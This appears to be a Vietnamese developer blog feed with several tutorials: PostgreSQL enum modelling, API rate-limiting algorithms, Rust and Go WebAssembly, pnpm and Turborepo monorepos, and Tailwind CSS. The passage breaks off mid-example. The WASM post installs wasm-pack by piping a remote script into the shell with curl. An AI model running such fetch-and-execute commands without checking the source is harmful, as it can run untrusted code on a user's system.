Khi mô hình hóa một tập nhỏ các giá trị định sẵn trong PostgreSQL, bạn có vài lựa chọn:

Kiểu ENUM gốc của PostgreSQL
Cột SMALLINT với ràng buộc CHECK
Cột SMALLINT với khóa ngoại tham chiếu bảng tra cứu
Cột SMALLINT thuần chỉ được kiểm tra bởi ứng dụng

Mỗi cách có đánh đổi khác nhau về type safety, linh hoạt, hiệu năng và bảo trì.

Bài viết này so sánh chúng và giải thích khi nào nên dùng cách nào.

Vấn đề

Giả sử đơn hàng có một trong ba trạng thái:

0 = Đang chờ
1 = Đã thanh toán
2 = Đã hủy

Ta muốn lưu trạng thái hiệu quả đồng thời ngăn các giá trị không hợp lệ như:

99
-1
1234

Câu hỏi là: nên mô hình hóa điều này trong PostgreSQL như thế nào?

Cách 1: `SMALLINT` với ràng buộc `CHECK`

Cách đơn giản nhất là lưu giá trị enum dưới dạng SMALLINT và giới hạn giá trị cho phép bằng ràng buộc CHECK.

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);

Ứng dụng định nghĩa ý nghĩa:

0 = Đang chờ
1 = Đã thanh toán
2 = Đã hủy

Giá trị không hợp lệ bị PostgreSQL từ chối:

INSERT INTO orders (status)
VALUES (99);

ERROR: new row violates check constraint

Ưu điểm

Đơn giản
Hiệu quả
Được cơ sở dữ liệu đảm bảo hoàn toàn
Không cần bảng phụ
Dễ truy vấn

SELECT *
FROM orders
WHERE status = 1;

Nhược điểm

Ý nghĩa của giá trị không hiện ra từ chính cột:

status = 1

1 có nghĩa là gì?

Mã ứng dụng hoặc tài liệu phải định nghĩa điều đó.

Một vấn đề khác là thay đổi giá trị cho phép yêu cầu sửa ràng buộc bảng:

ALTER TABLE orders
DROP CONSTRAINT orders_status_check;

ALTER TABLE orders
ADD CONSTRAINT orders_status_check
CHECK (status IN (0, 1, 2, 3));

Tuy nhiên, với một tập giá trị nhỏ và ổn định, đây thường là giải pháp tuyệt vời.

Cách 2: `SMALLINT` không có ràng buộc `CHECK`

Bạn cũng có thể định nghĩa đơn giản:

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
);

Ứng dụng định nghĩa các giá trị:

0 = Đang chờ
1 = Đã thanh toán
2 = Đã hủy

Đây là schema cơ sở dữ liệu đơn giản nhất.

Ưu điểm

Schema tối thiểu
Không cần bảo trì ràng buộc
Rất linh hoạt
Kích thước lưu trữ rất nhỏ

Nhược điểm

Cơ sở dữ liệu chấp nhận mọi giá trị SMALLINT hợp lệ:

INSERT INTO orders (status)
VALUES (32767);

Câu lệnh này thành công.

Cơ sở dữ liệu không biết liệu 32767 có phải là trạng thái kinh doanh hợp lệ hay không.

Do đó, cách này hoàn toàn dựa vào kiểm tra ở tầng ứng dụng.

Điều đó có thể chấp nhận được khi:

Chỉ có một ứng dụng ghi vào cơ sở dữ liệu
Cơ sở dữ liệu được xem như chi tiết triển khai nội bộ
Việc kiểm tra được tập trung hóa
Bạn cố tình muốn schema cơ sở dữ liệu duy trì tính dễ dãi

Tuy nhiên, nó có thể trở nên nguy hiểm khi nhiều dịch vụ, script hoặc quản trị viên ghi trực tiếp vào cơ sở dữ liệu.

Cách 3: `SMALLINT` với khóa ngoại

Một lựa chọn mạnh mẽ là dùng bảng tra cứu.

CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);

Thêm các trạng thái hợp lệ:

INSERT INTO order_status (id, name)
VALUES
    (0, 'pending'),
    (1, 'paid'),
    (2, 'cancelled');

Sau đó tham chiếu bảng:

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);

PostgreSQL ngăn các giá trị không hợp lệ:

INSERT INTO orders (status)
VALUES (99);

Câu lệnh thất bại vì 99 không tồn tại trong order_status.

Ưu điểm

Không cần ràng buộc CHECK
Kiểm tra ở cấp cơ sở dữ liệu
Ý nghĩa từng giá trị được lưu trong cơ sở dữ liệu
Dễ thêm siêu dữ liệu
Dễ mở rộng

Ví dụ:

CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE,
    description TEXT,
    is_active BOOLEAN NOT NULL DEFAULT TRUE,
    sort_order SMALLINT NOT NULL
);

Bảng trạng thái giờ có thể chứa siêu dữ liệu nghiệp vụ.

Nhược điểm

Cần thêm một bảng phụ
Cần một khóa ngoại
Schema phức tạp hơn một chút
Cần quản lý dữ liệu tham chiếu

Đây thường là lựa chọn tốt nhất khi bạn muốn biểu diễn SMALLINT nhưng vẫn muốn kiểm tra mạnh ở cấp cơ sở dữ liệu mà không dùng ràng buộc CHECK.

Cách 4: `ENUM` gốc của PostgreSQL

PostgreSQL cũng cung cấp kiểu enum gốc:

CREATE TYPE order_status AS ENUM (
    'pending',
    'paid',
    'cancelled'
);

Sau đó:

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status order_status NOT NULL
);

Cơ sở dữ liệu hiểu trực tiếp các giá trị hợp lệ:

INSERT INTO orders (status)
VALUES ('paid');

Giá trị không hợp lệ bị từ chối:

INSERT INTO orders (status)
VALUES ('unknown');

Ưu điểm

Type safety mạnh
Rất dễ đọc
Kiểm tra bởi cơ sở dữ liệu
Không cần ánh xạ số

Câu này dễ hiểu:

status = 'paid'

so với:

status = 1

Nhược điểm

Enum của PostgreSQL kém linh hoạt hơn khi tập giá trị thay đổi.

Thêm giá trị thì được:

ALTER TYPE order_status
ADD VALUE 'refunded';

Nhưng xóa hoặc đổi tên giá trị enum thường phức tạp hơn so với sửa dòng trong bảng tra cứu.

Điều này khiến enum gốc phù hợp cho các giá trị thực sự là một phần của mô hình miền ổn định của cơ sở dữ liệu.

So sánh

| Cách tiếp cận | Kiểm tra DB | Dùng SMALLINT | Dễ thay đổi | Lưu ý nghĩa trong DB | Độ phức tạp | |---|---|---|---|---|---| | SMALLINT thuần | Không | Có | Rất dễ | Không | Thấp | | SMALLINT + CHECK | Có | Có | Trung bình | Một phần | Thấp | | SMALLINT + khóa ngoại | Có | Có | Dễ | Có | Trung bình | | PostgreSQL ENUM | Có | Không | Trung bình | Có | Thấp |

Nên chọn cách nào?

Dùng `SMALLINT` + `CHECK` cho tập nhỏ, ổn định

status SMALLINT NOT NULL
    CHECK (status IN (0, 1, 2))

Đây là lựa chọn mặc định tốt khi:

Giá trị ổn định
Bạn muốn lưu trữ nhỏ gọn
Bạn muốn kiểm tra ở cơ sở dữ liệu
Bạn không cần thêm siêu dữ liệu

Dùng `SMALLINT` + khóa ngoại khi cần mở rộng

status SMALLINT NOT NULL
    REFERENCES order_status(id)

Chọn cách này khi:

Trạng thái có thể thay đổi
Bạn cần mô tả hoặc siêu dữ liệu
Bạn muốn bật/tắt trạng thái
Bạn muốn tránh ràng buộc CHECK
Giá trị được quản lý như dữ liệu tham chiếu

Đây thường là thiết kế linh hoạt nhất.

Dùng PostgreSQL `ENUM` cho kiểu miền ổn định

CREATE TYPE order_status AS ENUM (
    'pending',
    'paid',
    'cancelled'
);

Đây là lựa chọn tốt khi:

Tập giá trị nhỏ
Giá trị là nền tảng cho miền
Bạn muốn SQL dễ đọc
Bạn không mong đợi thay đổi thường xuyên

Dùng `SMALLINT` thuần chỉ khi kiểm tra ứng dụng là chủ ý

status SMALLINT NOT NULL

Cách này hoàn toàn có thể chấp nhận được, nhưng cần hiểu rõ sự đánh đổi:

Cơ sở dữ liệu sẽ không biết giá trị nào là hợp lệ.

Cách này hoạt động tốt nhất khi kiểm tra được tập trung hóa trong mã ứng dụng và việc ghi trực tiếp vào cơ sở dữ liệu được kiểm soát chặt chẽ.

Khuyến nghị thực tế

Với hầu hết ứng dụng, tôi chọn một trong hai thiết kế sau:

Giá trị ổn định

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);

Giá trị động hoặc giàu siêu dữ liệu

CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);

Điểm khác biệt chính rất đơn giản:

Dùng ràng buộc CHECK khi giá trị hợp lệ là bất biến của bảng. Dùng bảng tra cứu khi giá trị hợp lệ là dữ liệu có thể tiến hóa. Dùng ENUM của PostgreSQL khi giá trị là kiểu cơ sở dữ liệu ổn định.

Và nếu bạn chọn SMALLINT thuần không có ràng buộc cơ sở dữ liệu, hãy làm điều đó một cách có chủ đích — bởi vì bạn đang chuyển trách nhiệm về tính toàn vẹn dữ liệu từ PostgreSQL sang ứng dụng.

Tài liệu tham khảo

Rate Limiting — Thuật Toán Và Implementation Cho API

Wed, 22 Jul 2026 00:00:00 GMT

Rate limiting bảo vệ API khỏi abuse, brute force, và traffic spike. Bài này trình bày các thuật toán phổ biến và cách implement.

Tại Sao Cần Rate Limiting?

Chống DDoS, brute force
Đảm bảo fair usage cho tất cả user
Bảo vệ backend khỏi quá tải
Giảm chi phí (đặc biệt với AI API)

Thuật Toán

1. Fixed Window Counter

Đơn giản nhất — đếm request trong cửa sổ thời gian cố định:

class FixedWindowRateLimiter {
  private windows = new Map<string, { count: number; resetAt: number }>();

  constructor(
    private windowMs: number,
    private maxRequests: number,
  ) {}

  check(key: string): boolean {
    const now = Date.now();
    let window = this.windows.get(key);

    if (!window || now > window.resetAt) {
      window = { count: 0, resetAt: now + this.windowMs };
      this.windows.set(key, window);
    }

    window.count++;
    return window.count <= this.maxRequests;
  }
}

const limiter = new FixedWindowRateLimiter(60_000, 10);
// 10 requests / phút

Vấn đề: Traffic burst ở biên giới window — 10 request ở 0:59 và 10 request ở 1:00 = 20 request trong 2 giây.

2. Sliding Window Log

Lưu timestamp từng request — kiểm tra số request trong N giây qua:

class SlidingWindowLog {
  private logs = new Map<string, number[]>();

  constructor(
    private windowMs: number,
    private maxRequests: number,
  ) {}

  check(key: string): boolean {
    const now = Date.now();
    let log = this.logs.get(key) || [];
    const windowStart = now - this.windowMs;

    // Loại bỏ entries cũ
    log = log.filter(t => t > windowStart);
    this.logs.set(key, log);

    if (log.length >= this.maxRequests) {
      return false;
    }

    log.push(now);
    return true;
  }
}

Chính xác hơn nhưng tốn bộ nhớ — lưu timestamp mỗi request.

3. Sliding Window Counter (Redis)

Kết hợp fixed window + sliding — dùng Redis sorted set:

import { createClient } from 'redis';

const redis = createClient();

async function checkRateLimit(
  key: string,
  limit: number,
  windowSec: number,
): Promise<{ allowed: boolean; remaining: number; resetAt: number }> {
  const now = Date.now();
  const windowStart = now - windowSec * 1000;

  // Transaction
  const multi = redis.multi();
  multi.zRemRangeByScore(key, 0, windowStart); // Xoá entries cũ
  multi.zAdd(key, { score: now, value: `${now}` });
  multi.zCard(key); // Đếm entries trong window
  multi.expire(key, windowSec);
  const [, , count] = await multi.exec();

  const requestCount = count as number;
  return {
    allowed: requestCount <= limit,
    remaining: Math.max(0, limit - requestCount),
    resetAt: Math.ceil((windowStart + windowSec * 1000) / 1000),
  };
}

4. Token Bucket

Bucket chứa N token. Mỗi request lấy 1 token. Token được thêm vào với rate R.

class TokenBucket {
  private buckets = new Map<string, { tokens: number; lastRefill: number }>();

  constructor(
    private capacity: number,     // Max tokens
    private refillRate: number,   // Tokens/second
  ) {}

  private refill(key: string) {
    const bucket = this.buckets.get(key);
    if (!bucket) return;

    const now = Date.now();
    const elapsed = (now - bucket.lastRefill) / 1000;
    const newTokens = elapsed * this.refillRate;

    bucket.tokens = Math.min(this.capacity, bucket.tokens + newTokens);
    bucket.lastRefill = now;
  }

  tryConsume(key: string): boolean {
    if (!this.buckets.has(key)) {
      this.buckets.set(key, { tokens: this.capacity, lastRefill: Date.now() });
    }

    this.refill(key);
    const bucket = this.buckets.get(key)!;

    if (bucket.tokens >= 1) {
      bucket.tokens -= 1;
      return true;
    }
    return false;
  }
}

Ưu điểm: Cho phép burst ngắn (nếu bucket đầy) nhưng rate trung bình ổn định.

5. Leaky Bucket

Request vào bucket, xử lý với rate cố định. Nếu bucket đầy → request bị từ chối.

Dùng hàng đợi — phù hợp cho xử lý bất đồng bộ.

Implementation — Express Middleware

import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
import { createClient } from 'redis';

const redis = createClient();

// Global limiter
const globalLimiter = rateLimit({
  windowMs: 60_000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: 'Too many requests' },
});

// Auth limiter — strict hơn
const authLimiter = rateLimit({
  windowMs: 15 * 60_000,
  max: 5,
  skipSuccessfulRequests: false,
  keyGenerator: (req) => req.ip,
  handler: (req, res) => {
    res.status(429).json({
      error: 'Too many login attempts. Try again later.',
      retryAfter: Math.ceil(req.rateLimit.resetTime / 1000),
    });
  },
});

// API key limiter — dùng Redis store cho distributed
const apiLimiter = rateLimit({
  store: new RedisStore({
    sendCommand: (...args: string[]) => redis.sendCommand(args),
  }),
  windowMs: 60_000,
  max: (req) => {
    // Different limits for different tiers
    const tier = req.headers['x-api-tier'] || 'free';
    const limits = { free: 10, pro: 100, enterprise: 1000 };
    return limits[tier as keyof typeof limits] || 10;
  },
  keyGenerator: (req) => req.headers['x-api-key'] as string,
});

app.use('/api/', globalLimiter);
app.use('/api/auth/login', authLimiter);
app.use('/api/v2', apiLimiter);

Response Headers

Luôn trả về rate limit info trong response headers:

X-RateLimit-Limit: 100
X-RateLimit-Remaining: 45
X-RateLimit-Reset: 1718845200
Retry-After: 45

Cloudflare Rate Limiting

Cloudflare có rate limiting built-in:

# Wrangler AI — hoặc dashboard
wrangler ratelimit create my-limit --limit 100 --period 60

Workers:

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const key = request.headers.get('CF-Connecting-IP') || 'unknown';
    const { success } = await env.myRateLimiter.limit({ key });

    if (!success) {
      return new Response('Too Many Requests', { status: 429 });
    }

    return new Response('OK');
  },
};

Distributed Rate Limiting

Khi nhiều server — dùng Redis centralized:

Server 1 ─┐
Server 2 ─┼→ Redis (atomic counters)
Server 3 ─┘

Redis Lua script — atomic:

-- rate_limit.lua
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local now = tonumber(ARGV[3])

redis.call('ZREMRANGEBYSCORE', key, 0, now - window)
local count = redis.call('ZCARD', key)

if count >= limit then
  return 0
end

redis.call('ZADD', key, now, now)
redis.call('EXPIRE', key, window)
return limit - count - 1

Best Practices

Always return headers — client biết khi nào retry
Different limits per endpoint — auth strict, public loose
Use token key — IP + API key + userId
Distributed store — Redis nếu nhiều server
Graceful degradation — khi Redis down → allow temporarily
Log violations — để phát hiện abuse pattern

Kết Luận

Rate limiting không chỉ là bảo vệ — nó là quản lý tài nguyên. Fixed window đơn giản, sliding window chính xác, token bucket linh hoạt. Redis cho distributed systems. Cloudflare cho edge rate limiting. Chọn theo nhu cầu: đơn giản hay chính xác.

Tài liệu tham khảo

WebAssembly — Chạy Code Tốc Độ Native Trên Browser

Tue, 21 Jul 2026 00:00:00 GMT

WebAssembly (WASM) là binary format cho phép chạy code gần tốc độ native trên browser. C, C++, Rust, Go — tất cả compile thành WASM.

WASM Là Gì?

JavaScript:   Viết → Parse → Compile JIT → Run
WebAssembly:  Viết (Rust/C++) → Compile → .wasm → Run (gần native)

WASM không thay thế JavaScript — nó bổ sung cho JS ở những tác vụ nặng.

WASM vs JavaScript

| | JavaScript | WebAssembly | |---|---|---| | Performance | Trung bình | Gần native | | Startup | Parse + JIT warmup | Nhanh (binary format) | | Use case | UI, logic app | Tính toán nặng, game, xử lý media | | Memory | GC tự động | Manual (linear memory) | | DOM access | ✅ | ❌ (phải qua JS) |

Rust + WASM — Hello World

1. Cài đặt

# wasm-pack — build tool
curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh

# Tạo project
cargo new --lib wasm-hello

2. Cargo.toml

[package]
name = "wasm-hello"
version = "0.1.0"

[lib]
crate-type = ["cdylib"]

[dependencies]
wasm-bindgen = "0.2"

3. Code Rust

use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn fibonacci(n: u32) -> u64 {
    match n {
        0 => 0,
        1 => 1,
        _ => fibonacci(n - 1) + fibonacci(n - 2),
    }
}

#[wasm_bindgen]
pub fn greet(name: &str) -> String {
    format!("Hello, {}! From WebAssembly", name)
}

4. Build

wasm-pack build --target web

5. Dùng trong JS

import init, { fibonacci, greet } from './pkg/wasm_hello.js';

async function main() {
  await init(); // Load .wasm file

  console.log(greet('Alice')); // Hello, Alice! From WebAssembly
  console.log(fibonacci(40));  // 102334155 — nhanh hơn JS rất nhiều
}

main();

So Sánh Performance

// JavaScript
function fibJS(n: number): number {
  if (n <= 1) return n;
  return fibJS(n - 1) + fibJS(n - 2);
}

// fib(45): JS ≈ 15s, WASM ≈ 1.2s — WASM nhanh hơn ~12x

Use Case Thực Tế

1. Xử Lý Ảnh & Video

use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn grayscale(data: &mut [u8]) {
    for chunk in data.chunks_mut(4) {
        let r = chunk[0] as f32;
        let g = chunk[1] as f32;
        let b = chunk[2] as f32;
        let gray = (0.299 * r + 0.587 * g + 0.114 * b) as u8;
        chunk[0] = gray;
        chunk[1] = gray;
        chunk[2] = gray;
    }
}

2. Nén/Giải Nén

ffmpeg.wasm — FFmpeg chạy trong browser:

import { FFmpeg } from '@ffmpeg/ffmpeg';

const ffmpeg = new FFmpeg();
await ffmpeg.load();

await ffmpeg.exec(['-i', 'input.mp4', '-vf', 'scale=1280:720', 'output.mp4']);
const data = await ffmpeg.readFile('output.mp4');

3. Database Client

SQLite WASM — SQLite chạy trong browser:

import sqlInit, { Database } from 'sql.js';

const SQL = await sqlInit();
const db = new SQL.Database();

db.run('CREATE TABLE users (id INT, name TEXT)');
db.run('INSERT INTO users VALUES (?, ?)', [1, 'Alice']);
const result = db.exec('SELECT * FROM users');

4. Game Engine

Unity, Unreal Engine export WebGL (dùng WASM). Game chạy trong browser với performance gần native.

Go WASM

package main

import "syscall/js"

func add(this js.Value, args []js.Value) any {
    return args[0].Int() + args[1].Int()
}

func main() {
    js.Global().Set("addWasm", js.FuncOf(add))
    select {} // Keep running
}

GOOS=js GOARCH=wasm go build -o main.wasm

WASM Trong Workers

Dùng WASM trong Cloudflare Workers:

import wasm from './module.wasm';

export default {
  async fetch(request: Request): Promise<Response> {
    const instance = await WebAssembly.instantiate(wasm);
    const result = instance.exports.fibonacci(40);
    return new Response(`fib(40) = ${result}`);
  },
};

WASI — WebAssembly System Interface

WASI cho phép WASM chạy outside browser — trên server, CLI, embedded:

Browser:  WASM + JS API
Server:   WASM + WASI (filesystem, network, clock)

Bytecode Alliance phát triển WASI để WASM trở thành runtime phổ quát.

Công Cụ & Framework

| Công cụ | Mục đích | |---|---| | wasm-pack | Build Rust → WASM | | Emscripten | Build C/C++ → WASM | | AssemblyScript | TypeScript → WASM | | Blazor | C# → WASM (Microsoft) | | Pyodide | Python → WASM | | wasmtime | WASM runtime (server-side) | | wasmer | WASM runtime (server-side) |

Hạn Chế

Không DOM access — phải qua JS bridge (chi phí)
Debug khó — chưa có source map hoàn chỉnh
Bundle size — .wasm file có thể lớn (~MB)
GC — manual memory management (trừ C#/Go có GC riêng)

Kết Luận

WASM không thay thế JavaScript — nó là công cụ cho tác vụ nặng:

Game engine
Image/video processing
Compression
Scientific computing
Database client (SQLite)
Porting native libraries

Nếu bạn viết web app thông thường (CRUD, UI) — không cần WASM. Nếu bạn cần performance native trên browser — WASM là câu trả lời.

Tài liệu tham khảo

Monorepo — Turborepo, Nx, Workspace Cho Codebase Lớn

Mon, 20 Jul 2026 00:00:00 GMT

Monorepo là chiến lược đặt nhiều package/project trong cùng một repository. Tưởng phức tạp — nhưng với công cụ hiện đại, nó đơn giản hơn bạn nghĩ.

Monorepo vs Polyrepo

| Monorepo | Polyrepo | |---|---| | Code chung 1 repo | Mỗi project 1 repo riêng | | Dễ share code | Phải publish package | | atomic commit xuyên package | Phải release nhiều repo | | Tooling phức tạp hơn | Tooling đơn giản hơn | | CI/CD 1 pipeline | CI/CD nhiều pipeline |

pnpm Workspaces — Nền Tảng

# pnpm-workspace.yaml
packages:
  - 'apps/*'
  - 'packages/*'

Cấu trúc project:

my-monorepo/
├── apps/
│   ├── web/          # Next.js app
│   ├── api/          # Express API
│   └── admin/        # Admin dashboard
├── packages/
│   ├── ui/           # Shared UI components
│   ├── utils/        # Shared utilities
│   ├── config/       # ESLint, tsconfig
│   └── db/           # Prisma schema + client
├── pnpm-workspace.yaml
├── package.json      # Root package.json
└── turbo.json

Root package.json

{
  "private": true,
  "scripts": {
    "dev": "turbo dev",
    "build": "turbo build",
    "lint": "turbo lint",
    "test": "turbo test"
  },
  "devDependencies": {
    "turbo": "^2.0.0",
    "typescript": "^5.5.0"
  }
}

Turborepo — Cache & Task Runner

// turbo.json
{
  "$schema": "https://turbo.build/schema.json",
  "tasks": {
    "build": {
      "dependsOn": ["^build"],    // Build dependencies trước
      "outputs": ["dist/**", ".next/**"],
      "cache": true
    },
    "dev": {
      "cache": false,
      "persistent": true
    },
    "lint": {},
    "test": {
      "dependsOn": ["build"],
      "inputs": ["src/**/*.ts", "test/**/*.ts"]
    }
  }
}

Turborepo caches output — nếu code không đổi, build lại trong mili giây:

# Lần 1 — build thật
turbo build
# Tasks: 5 successful, 0 cached

# Lần 2 — dùng cache
turbo build
# Tasks: 0 successful, 5 cached → < 1s

Cấu Hình Package

packages/ui/package.json

{
  "name": "@myorg/ui",
  "private": true,
  "exports": {
    "./button": "./src/Button.tsx",
    "./card": "./src/Card.tsx"
  },
  "peerDependencies": {
    "react": "^18.0.0"
  },
  "devDependencies": {
    "@myorg/config": "workspace:*",
    "typescript": "^5.5.0"
  }
}

apps/web/package.json

{
  "name": "web",
  "dependencies": {
    "@myorg/ui": "workspace:*",
    "@myorg/utils": "workspace:*",
    "@myorg/db": "workspace:*",
    "next": "^14.0.0"
  }
}

Local Development

# Chạy tất cả apps
pnpm dev

# Chạy specific app
pnpm --filter web dev

# Thêm dependency
pnpm --filter web add zod

# Thêm shared package vào app
pnpm --filter web add @myorg/ui

# Build specific package và dependent
pnpm --filter @myorg/ui build

Dependency Graph

                    web
                   / | \
                  /  |  \
                 /   |   \
              ui   utils  db
               |           |
               +-------+---+
                       |
                    config

Turborepo tự động xác định thứ tự build dựa trên dependency graph.

Shared Config

packages/config/tsconfig.json

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "bundler",
    "strict": true,
    "skipLibCheck": true
  }
}

apps/web/tsconfig.json

{
  "extends": "@myorg/config/tsconfig.json",
  "compilerOptions": {
    "jsx": "preserve",
    "plugins": [{ "name": "next" }]
  }
}

packages/config/eslint.js

module.exports = {
  extends: ['turbo', 'prettier'],
  rules: {
    '@typescript-eslint/no-unused-vars': 'error',
  },
};

CI/CD với Monorepo

# .github/workflows/ci.yml
name: CI
on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: 'pnpm'

      - run: pnpm install
      - run: pnpm turbo lint test build

      # Cache cho Turborepo
      - uses: actions/cache@v4
        with:
          path: .turbo
          key: ${{ runner.os }}-turbo-${{ github.sha }}
          restore-keys: |
            ${{ runner.os }}-turbo-

Nx — Alternative Cho Turborepo

Nx mạnh hơn Turborepo ở một số điểm:

// nx.json
{
  "tasksRunnerOptions": {
    "default": {
      "runner": "nx/tasks-runners/default",
      "options": {
        "cacheableOperations": ["build", "lint", "test"]
      }
    }
  },
  "generators": {
    "@nx/react": {
      "application": {
        "style": "tailwind",
        "bundler": "vite"
      }
    }
  }
}

Nx có generator (code scaffolding), dependency graph visualization, và affected commands:

# Chỉ test package bị ảnh hưởng bởi thay đổi
nx affected:test

# Visualize dependency graph
nx graph

Docker Build

FROM node:20-alpine AS builder
WORKDIR /app

# Install dependencies
COPY pnpm-lock.yaml pnpm-workspace.yaml package.json ./
COPY apps/web/package.json apps/web/
COPY packages/ packages/
RUN pnpm install

# Build
COPY . .
RUN pnpm turbo build --filter=web

FROM node:20-alpine
WORKDIR /app
COPY --from=builder /app/apps/web/.next ./.next
COPY --from=builder /app/apps/web/public ./public
COPY --from=builder /app/apps/web/package.json ./
EXPOSE 3000
CMD ["pnpm", "start"]

Kết Luận

Monorepo không dành cho mọi project — nếu team < 5 người, project nhỏ, polyrepo vẫn ổn. Nhưng khi bạn có:

Nhiều app share code
Nhiều package cần atomic change
Team muốn reuse config, types, utils

Thì monorepo với pnpm + Turborepo là lựa chọn tuyệt vời. Bắt đầu từ đơn giản, thêm package khi cần.

Tài liệu tham khảo

Tailwind CSS — Utility-First Cho Giao Diện Nhanh

Sun, 19 Jul 2026 00:00:00 GMT

Tailwind CSS thay đổi cách viết CSS. Utility classes thay vì custom CSS — nhanh hơn, nhất quán hơn, dễ maintain hơn.

Utility-First

Thay vì: đặt tên class → mở file CSS → viết rules

<!-- ❌ Cách cũ -->
<div class="card">
  <h2 class="card-title">Hello</h2>
</div>

.card { background: white; border-radius: 8px; padding: 16px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); }
.card-title { font-size: 1.25rem; font-weight: 600; color: #1a1a1a; }

Với Tailwind — dùng class trực tiếp trong HTML:

<!-- ✅ Tailwind -->
<div class="bg-white rounded-lg p-4 shadow-sm">
  <h2 class="text-xl font-semibold text-gray-900">Hello</h2>
</div>

Responsive Design

<!-- Mobile-first: mặc định cho mobile, sm: cho tablet, lg: cho desktop -->
<div class="
  grid
  grid-cols-1
  sm:grid-cols-2
  lg:grid-cols-3
  xl:grid-cols-4
  gap-4
">

Breakpoints mặc định:

sm: 640px   → @media (min-width: 640px)
md: 768px
lg: 1024px
xl: 1280px
2xl: 1536px

Dark Mode

<div class="bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100">
  <h1 class="text-2xl font-bold">Content</h1>
</div>

Config tailwind.config.ts:

export default {
  darkMode: 'class', // Dùng class toggle — không theo system
  // hoặc
  darkMode: 'media', // Theo system preference
};

Custom Theme

// tailwind.config.ts
import type { Config } from 'tailwindcss';

export default {
  content: ['./src/**/*.{astro,tsx,html}'],
  theme: {
    extend: {
      colors: {
        brand: {
          50: '#eff6ff',
          100: '#dbeafe',
          500: '#3b82f6',
          900: '#1e3a5f',
        },
      },
      fontFamily: {
        sans: ['Inter', 'system-ui', 'sans-serif'],
      },
      spacing: {
        '18': '4.5rem',
        '88': '22rem',
      },
      animation: {
        'fade-in': 'fadeIn 0.3s ease-in-out',
      },
      keyframes: {
        fadeIn: {
          '0%': { opacity: '0' },
          '100%': { opacity: '1' },
        },
      },
    },
  },
  plugins: [],
} satisfies Config;

Components — Tái Sử Dụng

Với React/Astro — tách thành component:

// Button.tsx
interface ButtonProps {
  variant?: 'primary' | 'secondary' | 'ghost';
  size?: 'sm' | 'md' | 'lg';
  children: React.ReactNode;
}

const variants = {
  primary: 'bg-blue-600 text-white hover:bg-blue-700',
  secondary: 'bg-gray-200 text-gray-900 hover:bg-gray-300',
  ghost: 'text-gray-600 hover:bg-gray-100',
};

const sizes = {
  sm: 'px-3 py-1.5 text-sm',
  md: 'px-4 py-2 text-base',
  lg: 'px-6 py-3 text-lg',
};

export function Button({ variant = 'primary', size = 'md', children }: ButtonProps) {
  return (
    <button
      className={`
        inline-flex items-center justify-center
        font-medium rounded-lg
        transition-colors duration-200
        focus:outline-none focus:ring-2 focus:ring-blue-500
        disabled:opacity-50 disabled:cursor-not-allowed
        ${variants[variant]}
        ${sizes[size]}
      `}
    >
      {children}
    </button>
  );
}

Layout Ví Dụ

<!-- Card -->
<div class="max-w-sm rounded-xl overflow-hidden shadow-lg bg-white">
  <img class="w-full h-48 object-cover" src="..." alt="..." />
  <div class="p-6">
    <div class="flex items-center gap-2 mb-2">
      <span class="px-2 py-1 text-xs font-medium bg-blue-100 text-blue-800 rounded-full">
        Technology
      </span>
    </div>
    <h3 class="text-xl font-semibold text-gray-900 mb-2">Title</h3>
    <p class="text-gray-600 text-sm leading-relaxed">Description...</p>
    <div class="mt-4 flex items-center gap-3">
      <img class="w-8 h-8 rounded-full" src="avatar.jpg" alt="" />
      <span class="text-sm text-gray-500">Alice • 3 min read</span>
    </div>
  </div>
</div>

<!-- Navbar -->
<nav class="sticky top-0 z-50 bg-white/80 backdrop-blur-md border-b border-gray-200">
  <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
    <div class="flex items-center justify-between h-16">
      <div class="flex items-center gap-8">
        <span class="text-xl font-bold text-gray-900">Logo</span>
        <div class="hidden md:flex items-center gap-6">
          <a href="#" class="text-gray-600 hover:text-gray-900">Home</a>
          <a href="#" class="text-gray-600 hover:text-gray-900">Blog</a>
        </div>
      </div>
      <button class="md:hidden p-2">☰</button>
    </div>
  </div>
</nav>

Optimization — Purge CSS

Tailwind tự động loại bỏ CSS không dùng trong production:

export default {
  content: [
    './src/**/*.{astro,tsx,html}',
    './node_modules/my-library/**/*.tsx', // Include cả library
  ],
};

Kết quả: file CSS thường < 10KB sau khi gzip.

Với Astro

---
// src/pages/index.astro
import Layout from '../layouts/Layout.astro';
---

<Layout title="Home">
  <main class="min-h-screen bg-gradient-to-br from-blue-50 to-indigo-100">
    <div class="max-w-4xl mx-auto px-4 py-20">
      <h1 class="text-5xl font-bold text-gray-900 mb-6 bg-gradient-to-r from-blue-600 to-indigo-600 bg-clip-text text-transparent">
        Welcome
      </h1>
      <p class="text-xl text-gray-600 mb-8">
        Built with Astro + Tailwind CSS
      </p>
      <a
        href="/blog"
